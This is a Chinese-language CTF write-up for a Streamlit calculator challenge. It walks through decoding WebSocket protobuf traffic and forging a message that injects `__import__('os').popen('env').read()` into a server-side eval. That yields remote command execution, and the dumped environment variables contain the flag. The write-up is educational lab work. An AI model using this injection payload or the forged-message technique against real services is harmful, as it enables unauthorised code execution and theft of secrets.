2025京麒CTF挑战赛 计算器 WriteUP
摘要: 题目为一个基于WebSocket的CTF计算器挑战,要求输入密码解锁自定义表达式功能。通过分析通信流量,发现关键MD5哈希值解密为app.py。尝试绕过密码限制直接篡改表达式(如将1+1改为1+2)成功获取结果,但表达式长度超过3个字符时会触发Protobuf反序列化错误。后续尝试通过伪造Protobuf消息结构绕过限制,需进一步解码原始通信中的十六进制数据以构造有效载荷。 关键词: We
计算器 – protobuf伪造
题目要求输入密码来解锁计算器自定义表达式功能,默认为1+1
题目似乎建立了 WebSocket连接并在其中发送加密内容
以下是发送test后完整的交换流程
->
Zց
1
)$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd2test
1
*$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr21+1
.
*$$ID-f53e53087333ef2b48a346eee6bf31cc-None 3f41e546893dc64b71aaacad12cad815"
<-
"å
¿
r
$6b4e4827-9bbd-5c53-86a8-e24c12ffd9fd*$6b4e4827-9bbd-5c53-86a8-e24c12ffd9fd2$32a464aa-d221-4563-a2b1-3e0c513e506d
1.45.13.9.22.final.0linux"2$75c23f59-1dbc-431b-a222-5970c921a738$8fe9a3c0-3a25-48ae-a19e-88b7942a413capp"app.py2(B"
3f41e546893dc64b71aaacad12cad815J 3f41e546893dc64b71aaacad12cad815Z 3f41e546893dc64b71aaacad12cad815
<-
J
<-
41bb1aaeaecdc16c9ac61f7ac3da9068"" 3f41e546893dc64b71aaacad12cad815j
CTF Calculator
<-
6b97c51dfad1ea1f44d398a94d9109d8&3f41e546893dc64b71aaacad12cad815*ú
h1🔢 CTF Calculator
<-
322921a5318b81208dcc2b0beefde299&3f41e546893dc64b71aaacad12cad815*jhÂe
)$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd$Enter password to unlock calculator:
<-
08ca826ea49e54f0790b21e981b61727&" 3f41e546893dc64b71aaacad12cad815*FDÂA
*$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr
Expression1+1`j
<-
d3aa0dd3e7bab19fcdb5dc0a2040db01&3f41e546893dc64b71aaacad12cad815*;9ò6
.🔒 Incorrect password. Calculator is locked."
<-
4e31937ab2aae2e18ea8a957544ca41c&3f41e546893dc64b71aaacad12cad815*GEšB
*$$ID-f53e53087333ef2b48a346eee6bf31cc-None Calculate: secondary
<-
9934c0351b91b25a216083f28722cd8a&3f41e546893dc64b71aaacad12cad815*ò
Result: 2"
<-
e7d7c16caee1f85e6de8c6fb0b6e04f6"" 3f41e546893dc64b71aaacad12cad815’Ø
E
set_page_config
page_titlestrlen:14
layoutstrlen:8 ×
!
title
bodystrlen:16(
N
text_input
labelstrlen:36(
typestrlen:8
keystrlen:3 Ö
k
text_input
labelstrlen:10(
valuestrlen:3
disabledboolval:True
keystrlen:4 Ž
#
warning
bodystrlen:43( ·
"
button
labelstrlen:9( Ö
"
success
bodystrlen:9( ®—§*server.address*server.port:defaultBlinuxJ('UTC', 'UTC')P
<-
0
<-
J
->
{"messageType":"hello","broadcasts":{"remote-settings/monitor_changes":"\"1745074634037\""},"use_webpush":true}
->
{"messageType":"hello","uaid":"a33e0440188a4ef38ae80f54f99f6976","status":200,"use_webpush":true,"broadcasts":{"remote-settings/monitor_changes":"\"1748026399328\""}}
3f41e546893dc64b71aaacad12cad815多次出现,经过解密为app.py
MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊
尝试无视密码直接篡改表达式
Zց
1
)$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd2test
1
*$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr21+2
.
*$$ID-f53e53087333ef2b48a346eee6bf31cc-None 3f41e546893dc64b71aaacad12cad815"
成功,返回了1+2的结果
3f41e546893dc64b71aaacad12cad815*ò
Result: 3"
经过测试发现表达式似乎最大为3个字符,大于即报错
Zց
1
)$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd2test
1
*$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr21+10
.
*$$ID-f53e53087333ef2b48a346eee6bf31cc-None 3f41e546893dc64b71aaacad12cad815"
DecodeError)Error parsing message with type 'BackMsg'™File "/usr/local/lib/python3.9/site-packages/streamlit/web/server/browser_websocket_handler.py", line 216, in on_message
msg.ParseFromString(payload)2
发现是反序列化时出错,尝试伪造protobuf篡改表达式1+1
【python】【protobuf】逆向还原protobuf结构_python 解析proto文件-CSDN博客
good.tools · Protobuf Decoder
将第一条WebSocket消息以hex复制出来
5A 83 02 0A 00 12 9A 01 0A 35 0A 29 24 24 49 44 2D 38 38 39 65 32 64 30 65 63 62 63 62 64 34 32 63 36 64 32 34 66 63 66 66 63 65 65 61 37 65 65 32 2D 70 77 64 32 08 70 61 73 73 77 6F 72 64 0A 31 0A 2A 24 24 49 44 2D 38 62 35 37 31 38 63 36 37 62 31 63 62 38 31 66 61 65 61 31 35 35 31 66 31 62 65 65 36 30 65 31 2D 65 78 70 72 32 03 31 2B 31 0A 2E 0A 2A 24 24 49 44 2D 66 35 33 65 35 33 30 38 37 33 33 33 65 66 32 62 34 38 61 33 34 36 65 65 65 36 62 66 33 31 63 63 2D 4E 6F 6E 65 10 01 1A 20 33 66 34 31 65 35 34 36 38 39 33 64 63 36 34 62 37 31 61 61 61 63 61 64 31 32 63 61 64 38 31 35 22 00 2A 00 42 3C 0A 09 45 74 63 2F 47 4D 54 2D 38 10 A0 FC FF FF FF FF FF FF FF 01 1A 05 7A 68 2D 43 4E 22 1B 68 74 74 70 3A 2F 2F 33 39 2E 31 30 36 2E 31 36 2E 32 30 34 3A 31 32 34 33 37 2F 28 00
使用CyberChef解码
{
"11": {
"1": {},
"2": {
"1": [
{
"1": "$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd",
"6": "password"
},
{
"1": "$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr",
"6": "1+1"
},
{
"1": "$$ID-f53e53087333ef2b48a346eee6bf31cc-None",
"2": 1
}
]
},
"3": "3f41e546893dc64b71aaacad12cad815",
"4": {},
"5": {},
"8": {
"1": "Etc/GMT-8",
"2": 18446744073709552000,
"3": "zh-CN",
"4": "http://39.106.16.204:12437/",
"5": 0
}
}
}
使用人工智能还原.proto结构体
syntax = "proto3";
message Root {
Message11 field11 = 11; // 顶层字段,标签为 11
}
message Message11 {
Field2 field2 = 2; // 对应 JSON 中的键 "2",标签为 2
string field3 = 3; // 对应 JSON 中的键 "3",标签为 3
Field8 field8 = 8; // 对应 JSON 中的键 "8",标签为 8
}
message Field2 {
repeated Entry entries = 1; // 数组,标签为 1
}
message Entry {
string id = 1; // 对应 "1",标签为 1
oneof value {
string value_str = 6; // 字符串值,标签为 6
int32 value_int = 2; // 整数值,标签为 2
}
}
message Field8 {
string timezone = 1; // 标签为 1
int64 timestamp = 2; // 修正为 int64(原数据是负数)
string locale = 3; // 标签为 3
string url = 4; // 标签为 4
int32 some_flag = 5; // 标签为 5
}
编译文件为依赖代码
Releases · protocolbuffers/protobuf
./Protocol_Buffers/bin/protoc.exe --python_out=. ../../Root.proto
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# NO CHECKED-IN PROTOBUF GENCODE
# source: Root.proto
# Protobuf Python Version: 6.31.0
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import runtime_version as _runtime_version
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
_runtime_version.ValidateProtobufRuntimeVersion(
_runtime_version.Domain.PUBLIC,
6,
31,
0,
'',
'Root.proto'
)
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\nRoot.proto\"#\n\x04Root\x12\x1b\n\x07\x66ield11\x18\x0b \x01(\x0b\x32\n.Message11\"M\n\tMessage11\x12\x17\n\x06\x66ield2\x18\x02 \x01(\x0b\x32\x07.Field2\x12\x0e\n\x06\x66ield3\x18\x03 \x01(\t\x12\x17\n\x06\x66ield8\x18\x08 \x01(\x0b\x32\x07.Field8\"!\n\x06\x46ield2\x12\x17\n\x07\x65ntries\x18\x01 \x03(\x0b\x32\x06.Entry\"F\n\x05\x45ntry\x12\n\n\x02id\x18\x01 \x01(\t\x12\x13\n\tvalue_str\x18\x06 \x01(\tH\x00\x12\x13\n\tvalue_int\x18\x02 \x01(\x05H\x00\x42\x07\n\x05value\"]\n\x06\x46ield8\x12\x10\n\x08timezone\x18\x01 \x01(\t\x12\x11\n\ttimestamp\x18\x02 \x01(\x03\x12\x0e\n\x06locale\x18\x03 \x01(\t\x12\x0b\n\x03url\x18\x04 \x01(\t\x12\x11\n\tsome_flag\x18\x05 \x01(\x05\x62\x06proto3')
_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'Root_pb2', _globals)
if not _descriptor._USE_C_DESCRIPTORS:
DESCRIPTOR._loaded_options = None
_globals['_ROOT']._serialized_start=14
_globals['_ROOT']._serialized_end=49
_globals['_MESSAGE11']._serialized_start=51
_globals['_MESSAGE11']._serialized_end=128
_globals['_FIELD2']._serialized_start=130
_globals['_FIELD2']._serialized_end=163
_globals['_ENTRY']._serialized_start=165
_globals['_ENTRY']._serialized_end=235
_globals['_FIELD8']._serialized_start=237
_globals['_FIELD8']._serialized_end=330
# @@protoc_insertion_point(module_scope)
根据报错猜测后端为eval(input()),语言为python
书写序列化内容生成器
from Root_pb2 import Root, Message11, Field2, Entry, Field8
# 初始化根对象
root = Root() # 自动创建 root.field11 的默认实例
# 无需 root.field11 = Message11(),直接操作 root.field11 的字段
root.field11.field3 = "3f41e546893dc64b71aaacad12cad815"
# 直接初始化 field8root.field11.field8.timezone = "Etc/GMT-8"
root.field11.field8.timestamp = -57600
root.field11.field8.locale = "zh-CN"
root.field11.field8.url = "http://39.106.16.204:12437/"
root.field11.field8.some_flag = 0
# 构建 Field2 的条目列表
entries = []
# 添加条目(无需修改)
entry_pwd = Entry()
entry_pwd.id = "$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd"
entry_pwd.value_str = "password"
entries.append(entry_pwd)
entry_expr = Entry()
entry_expr.id = "$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr"
entry_expr.value_str = "'hackd by A5rz->'+__import__('os').popen('env').read()"
entries.append(entry_expr)
entry_none = Entry()
entry_none.id = "$$ID-f53e53087333ef2b48a346eee6bf31cc-None"
entry_none.value_int = 1
entries.append(entry_none)
# 直接扩展 entries 列表
root.field11.field2.entries.extend(entries)
# 序列化为字节
proto_data = root.SerializeToString()
# 保存数据
with open("modified_data.bin", "wb") as f:
f.write(proto_data)
在burp中选择从文件中粘贴,修改WebSocket对话内容
从环境变量中获得flag
Result: hackd by A5rz->KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://192.168.0.1:443
MPLBACKEND=Agg
HOSTNAME=t68310670004748851-comp-my-calc-76737187114157123xhzzt
HOME=/home/ctfuser
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_SHA256=8c136d199d3637a1fce98a16adc809c1d83c922d02d41f3614b34f8b6e7d38ec
KUBERNETES_PORT_443_TCP_ADDR=192.168.0.1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
LANG=C.UTF-8
MAPBOX_API_KEY=
PYTHON_VERSION=3.9.22
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://192.168.0.1:443
KUBERNETES_SERVICE_HOST=192.168.0.1
PWD=/home/ctfuser/app
FLAG=flag{2e0c9bb2-ccb3-4fda-9c09-eb92fc67e6f2}"

DAMO开发者矩阵,由阿里巴巴达摩院和中国互联网协会联合发起,致力于探讨最前沿的技术趋势与应用成果,搭建高质量的交流与分享平台,推动技术创新与产业应用链接,围绕“人工智能与新型计算”构建开放共享的开发者生态。
更多推荐
所有评论(0)